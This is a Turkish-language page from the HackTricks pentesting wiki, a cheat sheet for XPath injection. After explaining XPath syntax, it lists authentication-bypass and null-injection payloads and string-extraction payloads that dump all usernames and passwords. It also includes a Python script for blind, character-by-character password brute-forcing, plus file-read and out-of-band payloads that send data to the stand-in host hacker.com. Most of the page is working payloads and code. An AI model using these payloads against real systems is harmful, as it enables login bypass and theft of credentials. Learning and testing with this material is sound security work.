XPATH injection

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Söz Dizimi

XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine dayalı olarak XPath (XML Path Language) sorguları oluşturan uygulamalardan yararlanmak için kullanılır.

Tanımlanan Düğümler

İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:

  • nodename: "nodename" adındaki tüm düğümler seçilir.
  • /: Seçim kök düğümden yapılır.
  • //: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.
  • .: Mevcut düğüm seçilir.
  • ..: Mevcut düğümün üst düğümü seçilir.
  • @: Nitelikler seçilir.

XPath Örnekleri

Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:

  • bookstore: "bookstore" adındaki tüm düğümler seçilir.
  • /bookstore: Kök öğesi bookstore seçilir. Bir öğeye giden mutlak yolun, bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
  • bookstore/book: bookstore'un çocukları olan tüm book öğeleri seçilir.
  • //book: Belgedeki tüm book öğeleri seçilir, konumlarından bağımsız olarak.
  • bookstore//book: bookstore öğesinin altındaki tüm book öğeleri seçilir, bookstore öğesi altındaki konumlarından bağımsız olarak.
  • //@lang: lang adındaki tüm nitelikler seçilir.

Koşulların Kullanımı

Seçimleri daraltmak için koşullar kullanılır:

  • /bookstore/book[1]: bookstore öğesinin ilk book öğesi seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
  • /bookstore/book[last()]: bookstore öğesinin son book öğesi seçilir.
  • /bookstore/book[last()-1]: bookstore öğesinin sondan bir önceki book öğesi seçilir.
  • /bookstore/book[position()<3]: bookstore öğesinin ilk iki book öğesi seçilir.
  • //title[@lang]: lang niteliğine sahip tüm title öğeleri seçilir.
  • //title[@lang='en']: "lang" niteliği değeri "en" olan tüm title öğeleri seçilir.
  • /bookstore/book[price>35.00]: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book öğeleri seçilir.
  • /bookstore/book[price>35.00]/title: Fiyatı 35.00'dan büyük olan bookstore'daki book öğelerinin tüm title öğeleri seçilir.

Bilinmeyen Düğümlerin İşlenmesi

Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:

  • *: Herhangi bir öğe düğümünü eşleştirir.
  • @*: Herhangi bir nitelik düğümünü eşleştirir.
  • node(): Herhangi bir türdeki düğümü eşleştirir.

Diğer örnekler şunlardır:

  • /bookstore/*: bookstore öğesinin tüm çocuk öğe düğümlerini seçer.
  • //*: Belgedeki tüm öğeleri seçer.
  • //title[@*]: En az bir niteliğe sahip tüm title öğelerini seçer.

Örnek

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Bilgilere Erişim Sağlama

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Şemayı Tanımlama ve Çalma

python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Kimlik Doğrulama Atlatma

Sorgulara Örnek:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kullanıcı ve şifrede OR atlatma (her ikisinde de aynı değer)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Null enjeksiyonunu istismar etme

Username: ' or 1]%00

Kullanıcı Adında veya Şifrede Çift OR (sadece 1 savunmasız alan ile geçerlidir)

ÖNEMLİ: "ve" ilk yapılan işlemdir.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Dize çıkarımı

Çıktı, dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Bir değerin uzunluğunu al ve karşılaştırmalarla çıkar:

bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Örneği

python
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Dosyayı Oku

python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Sömürüsü

python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Otomatik araç

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin